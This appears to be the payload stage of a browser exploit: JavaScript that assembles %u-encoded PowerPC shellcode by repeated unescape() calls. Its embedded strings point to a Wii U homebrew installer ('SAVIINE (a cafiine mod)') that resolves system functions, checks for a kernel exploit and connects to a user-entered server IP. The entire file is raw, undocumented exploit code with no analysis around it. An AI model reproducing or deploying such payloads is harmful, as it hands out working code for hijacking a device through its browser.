str += unescape("%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u3d20%u011e%u9421%ufff0%u8129%uf2a0%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421%u3d20%u1000%u6129%u00e4%u3d40%u0a00%u8129%u0000%u7c7f%u1b78");
str += unescape("%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u5463%u103a%u7c69%u1a14%u4bff%uf7bd%u8001%u0014%u7fe3%ufb78%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0020%u7c08%u02a6%u3d20%u011e%u9421%ufff0");
str += unescape("%u8129%uf2a4%u93c1%u0008%u7c7e%u1b78%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421%u3d20%u1000%u6129%u00e4%u7c7f%u1b78%u80e9%u0000%u3d20%u0a00%u7f87%u4800%u419e%u005c%u2f83%u0000%u419c%u0054");
str += unescape("%u3900%u0020%u3947%u007c%u3920%u0000%u7d09%u03a6%u4800%u000c%u3929%u0001%u4240%u0038%u850a%u0004%u2f88%u0000%u409e%ufff0%u3949%u0020%u3929%u0040%u554a%u103a%u5529%u103a%u7fc7%u512e%u3d40%u1000");
str += unescape("%u614a%u00e4%u806a%u0000%u7c63%u4a14%u4bff%uf709%u8001%u0014%u7fe3%ufb78%u83c1%u0008%u7c08%u03a6%u83e1%u000c%u3821%u0010%u4e80%u0020%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u3d40%u0a00%u6129%u00e4");
str += unescape("%u93e1%u000c%u9001%u0014%u7c7f%u1b78%u8129%u0000%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u546a%u103a%u7c69%u502e%u4bff%uf7a9%u3d20%u011e%u8001%u0014%u8129%uf2a8%u7fe3%ufb78%u7c08%u03a6");
str += unescape("%u83e1%u000c%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u6129%u00e4%u93c1%u0008%u9001%u0014%u7c7e%u1b78%u93e1%u000c%u8109%u0000%u3d20%u0a00%u7f88%u4800%u419e%u0058");
str += unescape("%u3940%u0020%u3928%u007c%u3be0%u0000%u7d49%u03a6%u4800%u000c%u3bff%u0001%u4240%u003c%u8549%u0004%u7f9e%u5000%u409e%ufff0%u393f%u0040%u3bff%u0020%u5529%u103a%u57ff%u103a%u7c68%u482e%u4bff%uf715");
str += unescape("%u3d20%u1000%u6129%u00e4%u3940%u0000%u8129%u0000%u7d49%uf92e%u3d20%u011e%u8001%u0014%u8129%uf2ac%u7fc3%uf378%u83e1%u000c%u7c08%u03a6%u83c1%u0008%u7d29%u03a6%u3821%u0010%u4e80%u0420%u9421%ufd48");
str += unescape("%u7c08%u02a6%u3928%u0001%u92a1%u028c%u7cd5%u3378%u9301%u0298%u7c98%u2378%u9361%u02a4%u7ca4%u2b78%u93e1%u02b4%u7cfb%u3b78%u7cbf%u2b78%u38e0%uffff%u7cc5%u3378%u38c1%u027c%u93c1%u02b0%u7c7e%u1b78");
str += unescape("%u9001%u02bc%u9281%u0288%u92c1%u0290%u92e1%u0294%u9321%u029c%u9341%u02a0%u9381%u02a8%u93a1%u02ac%u9101%u027c%u9121%u0278%u4be9%u0ad1%u2c03%u0000%u4082%u02f4%u3940%u0072%u3f80%u1000%u9941%u0280");
str += unescape("%u3b20%u002f%u9861%u0281%u3b40%u0000%u639c%u00e4%u571d%u103a%u3ec0%u1005%u3ee0%u100b%u80a1%u027c%u7fc3%uf378%u7fe4%ufb78%u38c1%u0008%u38e0%uffff%u4be9%u0b79%u2f83%u0000%u409e%u01f8%u8975%u0000");
str += unescape("%u2f8b%u0000%u419e%u0294%u3981%u016b%u3920%u0000%u3929%u0001%u9d6c%u0001%u7d75%u48ae%u2f8b%u0000%u409e%ufff0%u3989%u0001%u8961%u006c%u3941%u0008%u7d2a%u4a14%u2f8b%u0000%u9b29%u0164%u419e%u0028");
str += unescape("%u3921%u016c%u38cc%uffff%u7cc9%u3214%u3921%u006c%u9d66%u0001%u398c%u0001%u8d69%u0001%u2f8b%u0000%u409e%ufff0%u3941%u0008%u3881%u016c%u7d8a%u6214%u38a0%u00fb%u9b4c%u0164%u813c%u0000%u7c69%ue82e");
str += unescape("%u4bff%ufa01%u8121%u0008%u2f89%u0000%u419c%u01bc%u3920%u0066%u9b41%u0270%u9921%u026c%u3920%u0069%u9921%u026d%u3920%u006c%u9921%u026e%u3920%u0065%u9921%u026f%u3881%u026c%u38a0%u00fb%u813c%u0000");
str += unescape("%u7c69%ue82e%u4bff%uf9bd%u7fc3%uf378%u7fe4%ufb78%u38a1%u016c%u38c1%u0280%u38e1%u0278%u7f68%udb78%u4be9%u0285%u2f83%u0000%u41bc%ufef4%u813c%u0000%u3881%u016c%u38a0%u00fb%u7c69%ue82e%u4bff%uf985");
str += unescape("%u813c%u0000%u80c1%u0278%u7f04%uc378%u7c69%ue82e%u38a1%u016c%u4bff%uf509%u8136%ue9c0%u3860%u0000%u3880%u0040%u6063%uc800%u7d29%u03a6%u4e80%u0421%u7c74%u1b78%u4800%u0010%u80c1%u0278%u7c69%ue82e");
str += unescape("%u4bff%uf631%u8101%u0278%u38e0%u0000%u7fe4%ufb78%u7e85%ua378%u3920%u0000%u38c0%u0001%u60e7%uc800%u7f6a%udb78%u7fc3%uf378%u4be9%u0389%u7e84%ua378%u2f83%u0000%u7c65%u1b78%u9061%u0274%u813c%u0000");
str += unescape("%u419d%uffb8%u7c69%ue82e%u3881%u0274%u80a1%u0278%u4bff%uf70d%u80a1%u0278%u7f67%udb78%u7fe4%ufb78%u38c0%u0000%u7fc3%uf378%u4be9%u0771%u8137%u487c%u7e83%ua378%u7d29%u03a6%u4e80%u0421%u80a1%u0278");
str += unescape("%u7fe4%ufb78%u38c0%uffff%u7fc3%uf378%u4be9%u02a5%u80a1%u027c%u7fc3%uf378%u7fe4%ufb78%u38c1%u0008%u38e0%uffff%u4be9%u0985%u2f83%u0000%u419e%ufe10%u80a1%u027c%u7fc3%uf378%u7fe4%ufb78%u38c0%u0000");
str += unescape("%u4be9%u08e9%u3860%u0000%u8001%u02bc%u8281%u0288%u7c08%u03a6%u82a1%u028c%u82c1%u0290%u82e1%u0294%u8301%u0298%u8321%u029c%u8341%u02a0%u8361%u02a4%u8381%u02a8%u83a1%u02ac%u83c1%u02b0%u83e1%u02b4");
str += unescape("%u3821%u02b8%u4e80%u0020%u3920%u0064%u9b41%u026f%u9921%u026c%u3920%u0069%u9921%u026d%u3920%u0072%u9921%u026e%u3881%u026c%u38a0%u00fb%u813c%u0000%u7c69%ue82e%u4bff%uf80d%u8101%u0278%u7fc3%uf378");
str += unescape("%u7f04%uc378%u7fe5%ufb78%u38c1%u016c%u7f67%udb78%u4bff%ufcad%u4bff%ufd48%u3980%u0001%u3920%u0000%u4bff%ufd88%u3860%uffff%u4bff%uff60%u9421%ufea8%u7c08%u02a6%u3920%u0030%u38e0%u002f%u93e1%u0154");
str += unescape("%u3be0%u006c%u9001%u015c%u3800%u0076%u9be1%u010b%u3be0%u0073%u9921%u0115%u3900%u006f%u9921%u0116%u3940%u0000%u9921%u0117%u3960%u006d%u9921%u0118%u9921%u0119%u9921%u011a%u9921%u011b%u3920%u0063");
str += unescape("%u98e1%u0108%u9801%u0109%u98e1%u010c%u9be1%u010d%u3be0%u0061%u9801%u010f%u3800%u0065%u98e1%u0111%u38e0%u0038%u9921%u0120%u3920%u006e%u9341%u0140%u7c7a%u1b78%u9361%u0144%u7c9b%u2378%u9381%u0148");
str += unescape("%u7cbc%u2b78%u93a1%u014c%u7cdd%u3378%u93c1%u0150%u3bc0%u0000%u9901%u010a%u9941%u0112%u98e1%u0114%u38e1%u0109%u9941%u011c%u9901%u0121%u9321%u013c%u9be1%u010e%u9801%u0110%u9961%u0122%u9961%u0123");
str += unescape("%u9901%u0124%u3901%u0007%u9921%u0125%u3920%u0076%u9941%u0126%u3940%u002f%u4800%u0008%u8d27%u0001%u2f89%u0000%u9d48%u0001%u3bde%u0001%u7d2a%u4b78%u409e%uffec%u3921%u0008%u3b3e%uffff%u7f29%uca14");
str += unescape("%u38c1%u0115%u7f27%ucb78%u7fca%uf378%u3920%u0030%u3900%u0038%u4800%u0008%u8d26%u0001%u2f89%u0000%u9d07%u0001%u394a%u0001%u7d28%u4b78%u409e%uffec%u7d41%u5214%u3be0%u0001%u992a%u0008%u4800%u0028");
str += unescape("%u2f89%u0009%u3949%u0057%u9901%u0018%u3929%u0030%u419d%u005c%u2f9f%u0100%u9921%u0019%u3bff%u0001%u419e%u005c%u3900%u0032%u7f43%ud378%u7fa4%ueb78%u7f65%udb78%u38c1%u0008%u7f87%ue378%u4bff%ufb01");
str += unescape("%u7fe9%u2670%u2f89%u0009%u3949%u0057%u3909%u0030%u57e9%u073e%u40bd%uffac%u2f89%u0009%u9941%u0018%u3949%u0057%u3929%u0030%u40bd%uffac%u2f9f%u0100%u9941%u0019%u3bff%u0001%u409e%uffac%u3901%u0121");
str += unescape("%u7f2a%ucb78%u3be0%u006f%u3920%u0063%u4800%u0008%u8fe8%u0001%u2f9f%u0000%u9d2a%u0001%u3bde%u0001%u7fe9%ufb78%u409e%uffec%u7fc1%uf214%u3f20%u1000%u9bfe%u0008%u6339%u00e4%u57be%u103a%u3881%u0008");
str += unescape("%u8139%u0000%u38a0%u00fb%u7c69%uf02e%u4bff%uf5b5%u7fa4%ueb78%u7f65%udb78%u38c1%u0008%u7f87%ue378%u7f43%ud378%u3900%u003c%u4bff%ufa55%u3920%u0064%u9921%u0128%u3920%u006f%u9921%u0129%u3920%u006e");
str += unescape("%u9921%u012a%u3920%u0065%u9921%u012b%u3920%u0021%u9be1%u012d%u3881%u0128%u9921%u012c%u38a0%u00fb%u8139%u0000%u7c69%uf02e%u4bff%uf559%u8001%u015c%u8321%u013c%u7c08%u03a6%u8341%u0140%u8361%u0144");
str += unescape("%u8381%u0148%u83a1%u014c%u83c1%u0150%u83e1%u0154%u3821%u0158%u4e80%u0020%u7c08%u02a6%u9421%uffe0%u3d20%u1000%u6129%u00e4%u9381%u0010%u9001%u0024%u7cbc%u2b78%u93a1%u0014%u7cdd%u3378%u8169%u0000");
str += unescape("%u3d20%u0a00%u93c1%u0018%u7c9e%u2378%u7f8b%u4800%u93e1%u001c%u7c7f%u1b78%u419e%u0038%u3940%u0020%u392b%u007c%u38c0%u0000%u7d49%u03a6%u4800%u000c%u38c6%u0001%u4240%u001c%u8509%u0004%u7f9f%u4000");
str += unescape("%u409e%ufff0%u812b%u0280%u2f89%u0000%u419e%u0040%u3d20%u011e%u8001%u0024%u8129%uf2b0%u7fe3%ufb78%u7fc4%uf378%u83e1%u001c%u83c1%u0018%u7f85%ue378%u7fa6%ueb78%u8381%u0010%u83a1%u0014%u7d29%u03a6");
str += unescape("%u3821%u0020%u7c08%u03a6%u4e80%u0420%u7fe3%ufb78%u7fc4%uf378%u7ce5%u3b78%u90e1%u0008%u4bff%ufc91%u3d20%u1000%u6129%u00e4%u3940%u0002%u8129%u0000%u7fe3%ufb78%u8001%u0024%u7fc4%uf378%u9149%u0280");
str += unescape("%u3d20%u011e%u8129%uf2b0%u7f85%ue378%u80e1%u0008%u7fa6%ueb78%u8381%u0010%u7d29%u03a6%u83a1%u0014%u83c1%u0018%u7c08%u03a6%u83e1%u001c%u3821%u0020%u4e80%u0420%u0000%u0000%u0000%u0000%u0000%u0000");
str += unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u12b4%u636f%u7265%u696e%u6974%u2e72%u706c%u0000%u0000%u5f45%u7869%u7400%u0000%u4443%u466c%u7573%u6852");
str += unescape("%u616e%u6765%u0000%u0000%u4f53%u4566%u6665%u6374%u6976%u6554%u6f50%u6879%u7369%u6361%u6c00%u0000%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564%u205f%u4578%u6974%u2e0a%u0000%u0000%u4173%u7365");
str += unescape("%u7274%u696f%u6e20%u6661%u696c%u6564%u2044%u4346%u6c75%u7368%u5261%u6e67%u652e%u0a00%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564%u204f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963");
str += unescape("%u616c%u2e0a%u0000%u0000%u6e6f%u206b%u7370%u6c6f%u6974%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u0000%u0000%u4f53%u5363%u7265%u656e%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363");
str += unescape("%u7265%u656e%u5365%u7442%u7566%u6665%u7245%u7800%u4f53%u5363%u7265%u656e%u436c%u6561%u7242%u7566%u6665%u7245%u7800%u0000%u4f53%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u0000");
str += unescape("%u4f53%u5363%u7265%u656e%u5075%u7446%u6f6e%u7445%u7800%u0000%u7670%u6164%u2e72%u706c%u0000%u0000%u5650%u4144%u5265%u6164%u0000%u0000%u2d2d%u2053%u4156%u4949%u4e45%u2028%u6120%u6361%u6669%u696e");
str += unescape("%u6520%u6d6f%u6429%u202d%u2d00%u0000%u2573%u203a%u2025%u3364%u2e25%u3364%u2e25%u3364%u2e25%u3364%u0000%u0000%u312e%u2053%u6572%u7665%u7220%u4950%u0000%u0000%u322e%u2050%u7265%u7373%u2041%u2074");
str += unescape("%u6f20%u696e%u7374%u616c%u6c20%u7361%u7669%u696e%u6500%u0000%u686f%u6d65%u2062%u7574%u746f%u6e20%u746f%u2065%u7869%u7420%u2e2e%u2e00%u7676%u7600%u0000%u1eb0%u0000%u1eb4%u0000%u1eb8%u0000%u1ebc");
str += unescape("%u0000%u1ec0%u0000%u1ec4%u0000%u1ec8%u0000%u1ecc%u0000%u1ed0%u0000%u1ed4%u0000%u1ed8%u0000%u1edc%u0000%u1ee0%u0000%u1ee4%u0000%u1ee8%u0000%u1eec%u0000%u1ef0%u0000%u1ef4%u0000%u1ef8%u0000%u1efc");
str += unescape("%u0000%u1f00%u0000%u1f04%u0000%u1f08%u0000%u1f0c%u0000%u1f10%u0000%u1f14%u0000%u1f18%u0000%u1f1c%u0000%u1f20%u0000%u1f24%u0000%u1f28%u0000%u1f2c%u0000%u1f30%u0000%u1f34%u0000%u1f38%u0000%u1f3c");
str += unescape("%u0000%u1f40%u0000%u1f44%u0000%u1f48%u0000%u1f4c%u0000%u1f50%u0000%u1f54%u0000%u1f58%u0000%u1f5c%u0000%u1f60%u0000%u1f64%u0000%u1f68%u0000%u1f6c%u0000%u1f70%u0000%u1f74%u0000%u1f78%u0000%u1f7c");
str += unescape("%u0000%u1f80%u0000%u1f84%u0000%u1f88%u0000%u1f8c%u0000%u1f90%u0000%u1f94%u0000%u1f98%u0000%u1f9c%u0000%u1fa0%u0000%u1fa4%u0000%u1fa8%u0000%u1fac%u0000%u1fb0%u0000%u1fb4%u0000%u1fb8%u0000%u1fbc");
str += unescape("%u0000%u1fc0%u0000%u1fc4%u0000%u1fc8%u0000%u1fcc%u0000%u1fd0%u0000%u1fd4%u0000%u1fd8%u0000%u1fdc%u0000%u1fe0%u0000%u1fe4%u0000%u1fe8%u0000%u1fec%u0000%u1ff0%u0000%u1ff4%u0000%u1ff8%u0000%u1ffc");
str += unescape("%u0000%u2000%u0000%u2004%u0000%u2008%u0000%u200c%u0000%u2010%u0000%u2014%u0000%u2018%u0000%u201c%u0000%u2020%u0000%u2024%u0000%u2028%u0000%u202c%u0000%u2030%u0000%u2034%u0000%u2038%u0000%u203c");
str += unescape("%u4bee%u1e89%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000%u4080%uffd8%u8001%u001c%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u8001%u001c%u3860%u0000%u83a1%u000c");
str += unescape("%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u7c08%u02a6%u9421%uffc0%u93c1%u0038%u7c7e%u1b78%u9001%u0044%u93e1%u003c%u4bee%u1625%u3860%u0002%u3880%u0001%u38a0%u0006%u4bee%u34e9");
str += unescape("%u2f83%uffff%u7c7f%u1b78%u419e%u00a8%u3d20%u011e%u3940%u0002%u8129%ue000%u3881%u0018%ub141%u0018%u38a0%u0010%u3940%u1ca4%u9121%u001c%ub141%u001a%u4bee%u1b15%u2f83%u0000%u419c%u0070%u3c80%u1001");
str += unescape("%u38a0%u0010%u3884%u36d0%u3861%u0008%u4be5%u6d39%u7fe3%ufb78%u3881%u0008%u38a0%u0010%u4bff%ufe51%u2f83%u0000%u419c%u0044%u7fe3%ufb78%u3881%u0028%u38a0%u0001%u4bff%ufecd%u2f83%u0000%u419c%u002c");
str += unescape("%u8921%u0028%u2b89%u00ff%u419e%u0020%u8001%u0044%u93fe%u0000%u7c08%u03a6%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u7fe3%ufb78%u4bee%u3585%u8001%u0044%u3920%uffff%u913e%u0000%u7c08%u03a6");
str += unescape("%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u2f83%uffff%u4d9e%u0020%u4bee%u3558%u7c08%u02a6%u9421%uffd0%u93a1%u0024%u3fa0%u1000%u9001%u0034%u63bd%u00e4%u9361%u001c%u7cdb%u3378%u813d%u0000");
str += unescape("%u9381%u0020%u7c7c%u1b78%u8149%u0284%u93c1%u0028%u7cbe%u2b78%u2f8a%u0000%u93e1%u002c%u7c3f%u0b78%u419e%u0018%u4bf7%u2b5d%u813d%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9c%uffff%u3940%u0001");
str += unescape("%u9149%u0284%u419e%u0130%u391e%uffff%u3940%u0000%u4800%u0008%u7d2a%u4b78%u8ce8%u0001%u392a%u0001%u2f87%u0000%u409e%ufff0%u390a%u0019%u80e1%u0000%u5508%u0036%u7d26%u4b79%u7d08%u00d0%u7c3d%u0b78");
str += unescape("%u7ce1%u416e%u3900%u000a%u7cc9%u03a6%u38aa%u000a%u3881%u0008%u9901%u0008%u9124%u0005%u3920%u0000%u9364%u0001%u4081%u0110%u7cfe%u48ae%u7d04%u4a14%u3929%u0001%u98e8%u0009%u4200%ufff0%u7f83%ue378");
str += unescape("%u4bff%ufced%u2f83%u0000%u419c%u00a0%u7f83%ue378%u389f%u0008%u38a0%u0001%u4bff%ufd69%u2f83%u0000%u419c%u0014%u893f%u0008%u3bc0%u0001%u2b89%u0008%u419e%u0008%u3bc0%u0002%u7f83%ue378%u389f%u0008");
str += unescape("%u38a0%u0001%u4bff%ufd3d%u2f83%u0000%u419c%u005c%u893f%u0008%u2b89%u00fe%u409e%u0050%u3d20%u1000%u3940%u0000%u6129%u00e4%u397f%u0030%u8129%u0000%u7fc3%uf378%u9149%u0284%u8121%u0000%u913d%u0000");
str += unescape("%u7fa1%ueb78%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u8121%u0000%u913d%u0000%u7fa1%ueb78%u397f%u0030%u800b%u0004%u3d20%u1000");
str += unescape("%u83eb%ufffc%u7c08%u03a6%u6129%u00e4%u8129%u0000%u3940%u0000%u3860%uffff%u836b%uffec%u9149%u0284%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u3940%u0001%u7d49%u03a6%u4bff%ufeec");
str += unescape("%u7c08%u02a6%u9421%uffd0%u93c1%u0028%u3fc0%u1000%u9001%u0034%u63de%u00e4%u9341%u0018%u7cda%u3378%u813e%u0000%u9361%u001c%u7c7b%u1b78%u8149%u0284%u9381%u0020%u7cbc%u2b78%u2f8a%u0000%u93a1%u0024");
str += unescape("%u93e1%u002c%u7c9d%u2378%u7c3f%u0b78%u419e%u0018%u4bf7%u2971%u813e%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9b%uffff%u3940%u0001%u9149%u0284%u419e%u007c%u393c%u0018%u8141%u0000%u5529%u0036");
str += unescape("%u2f9c%u0000%u7d29%u00d0%u7c3e%u0b78%u7d41%u496e%u3920%u000b%u7f89%u03a6%u38bc%u0009%u3881%u0008%u9921%u0008%u9344%u0001%u3920%u0000%u9384%u0005%u409d%u0018%u7d1d%u48ae%u7d44%u4a14%u3929%u0001");
str += unescape("%u990a%u0009%u4200%ufff0%u7f63%udb78%u4bff%ufb21%u7f63%udb78%u389f%u0008%u38a0%u0001%u4bff%ufba5%u8121%u0000%u913e%u0000%u7fc1%uf378%u397f%u0030%u800b%u0004%u3d20%u1000%u83eb%ufffc%u7c08%u03a6");
str += unescape("%u6129%u00e4%u8129%u0000%u3940%u0000%u834b%uffe8%u9149%u0284%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c");
str += unescape("%u63ff%u00e4%u9381%u0018%u7c9c%u2378%u813f%u0000%u93a1%u001c%u7cbd%u2b78%u8149%u0284%u93c1%u0020%u7c7e%u1b78%u2f8a%u0000%u419e%u0018%u4bf7%u2855%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0");
str += unescape("%u2f9e%uffff%u3940%u0001%u9149%u0284%u419e%u009c%u3920%u0002%u7fc3%uf378%u3881%u0008%u38a0%u0005%u9921%u0008%u93a1%u0009%u4bff%ufa45%u2f83%u0000%u419c%u0078%u7fc3%uf378%u3881%u0010%u38a0%u0001");
str += unescape("%u4bff%ufac1%u2f83%u0000%u419c%u0060%u8921%u0010%u2b89%u00ff%u419e%u0054%u7fc3%uf378%u7f84%ue378%u38a0%u0004%u4bff%ufa9d%u2f83%u0000%u419c%u003c%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000");
str += unescape("%u7c08%u03a6%u8129%u0000%u8381%u0018%u3860%u0000%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000");
str += unescape("%u8381%u0018%u3860%uffff%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c%u63ff%u00e4%u9381%u0018%u7c7c%u1b78");
str += unescape("%u813f%u0000%u93a1%u001c%u7c9d%u2378%u8149%u0284%u93c1%u0020%u7cbe%u2b78%u2f8a%u0000%u419e%u0018%u4bf7%u2721%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u7f83%ue378%u9149%u0284");
str += unescape("%u3881%u0008%u3920%u000c%u38a0%u0009%u9921%u0008%u93a1%u0009%u93c1%u000d%u4bff%uf915%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u83a1%u001c%u83c1%u0020");
str += unescape("%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u2f83%uffff%u7c08%u02a6%u9421%uffe0%u9381%u0010%u7c7c%u1b78%u93e1%u001c%u7c3f%u0b78%u9001%u0024%u9361%u000c%u93a1%u0014%u93c1%u0018%u419e%u00dc");
str += unescape("%u3fa0%u1000%u7c9e%u2378%u63bd%u00e4%u7cbb%u2b78%u813d%u0000%u8149%u0284%u2f8a%u0000%u419e%u0018%u4bf7%u2661%u813d%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u391e%uffff%u9149%u0284");
str += unescape("%u3920%u0000%u4800%u0008%u7d49%u5378%u8ce8%u0001%u3949%u0001%u2f87%u0000%u409e%ufff0%u3909%u0015%u80e1%u0000%u5508%u0036%u7d46%u5379%u7d08%u00d0%u7c3d%u0b78%u7ce1%u416e%u38a9%u0006%u7cc9%u03a6");
str += unescape("%u3920%u0000%u3881%u0008%u9b61%u0008%u9144%u0001%u4081%u0070%u7d1e%u48ae%u7d44%u4a14%u3929%u0001%u990a%u0005%u4200%ufff0%u3920%u0000%u7f83%ue378%u992a%u0006%u4bff%uf7f9%u3d40%u1000%u614a%u00e4");
str += unescape("%u8121%u0000%u814a%u0000%u913d%u0000%u3920%u0000%u912a%u0284%u7fa1%ueb78%u397f%u0020%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020");
str += unescape("%u3940%u0001%u7d49%u03a6%u4bff%uff8c%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u1414%u636f%u7265%u696e%u6974%u2e72%u706c");
str += unescape("%u0000%u0000%u5f45%u7869%u7400%u0000%u4443%u466c%u7573%u6852%u616e%u6765%u0000%u0000%u4f53%u4566%u6665%u6374%u6976%u6554%u6f50%u6879%u7369%u6361%u6c00%u0000%u4173%u7365%u7274%u696f%u6e20%u6661");
str += unescape("%u696c%u6564%u205f%u4578%u6974%u2e0a%u0000%u0000%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564%u2044%u4346%u6c75%u7368%u5261%u6e67%u652e%u0a00%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564");
str += unescape("%u204f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963%u616c%u2e0a%u0000%u0000%u6e6f%u206b%u7370%u6c6f%u6974%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u0000%u0000%u4f53%u5363%u7265%u656e");
str += unescape("%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265%u656e%u5365%u7442%u7566%u6665%u7245%u7800%u4f53%u5363%u7265%u656e%u436c%u6561%u7242%u7566%u6665%u7245%u7800%u0000%u4f53%u5363");
str += unescape("%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u0000%u4f53%u5363%u7265%u656e%u5075%u7446%u6f6e%u7445%u7800%u0000%u7670%u6164%u2e72%u706c%u0000%u0000%u5650%u4144%u5265%u6164%u0000%u0000");
str += unescape("%u2d2d%u2053%u4156%u4949%u4e45%u2028%u6120%u6361%u6669%u696e%u6520%u6d6f%u6429%u202d%u2d00%u0000%u2573%u203a%u2025%u3364%u2e25%u3364%u2e25%u3364%u2e25%u3364%u0000%u0000%u312e%u2053%u6572%u7665");
str += unescape("%u7220%u4950%u0000%u0000%u322e%u2050%u7265%u7373%u2041%u2074%u6f20%u696e%u7374%u616c%u6c20%u7361%u7669%u696e%u6500%u0000%u686f%u6d65%u2062%u7574%u746f%u6e20%u746f%u2065%u7869%u7420%u2e2e%u2e00");
str += unescape("%u7676%u7600%u0000%u2004%u0000%u2008%u0000%u200c%u0000%u2010%u0000%u2014%u0000%u2018%u0000%u201c%u0000%u2020%u0000%u2024%u0000%u2028%u0000%u202c%u0000%u2030%u0000%u2034%u0000%u2038%u0000%u203c");
str += unescape("%u0000%u2040%u0000%u2044%u0000%u2048%u0000%u204c%u0000%u2050%u0000%u2054%u0000%u2058%u0000%u205c%u0000%u2060%u0000%u2064%u0000%u2068%u0000%u206c%u0000%u2070%u0000%u2074%u0000%u2078%u0000%u207c");
str += unescape("%u0000%u2080%u0000%u2084%u0000%u2088%u0000%u208c%u0000%u2090%u0000%u2094%u0000%u2098%u0000%u209c%u0000%u20a0%u0000%u20a4%u0000%u20a8%u0000%u20ac%u0000%u20b0%u0000%u20b4%u0000%u20b8%u0000%u20bc");
str += unescape("%u0000%u20c0%u0000%u20c4%u0000%u20c8%u0000%u20cc%u0000%u20d0%u0000%u20d4%u0000%u20d8%u0000%u20dc%u0000%u20e0%u0000%u20e4%u0000%u20e8%u0000%u20ec%u0000%u20f0%u0000%u20f4%u0000%u20f8%u0000%u20fc");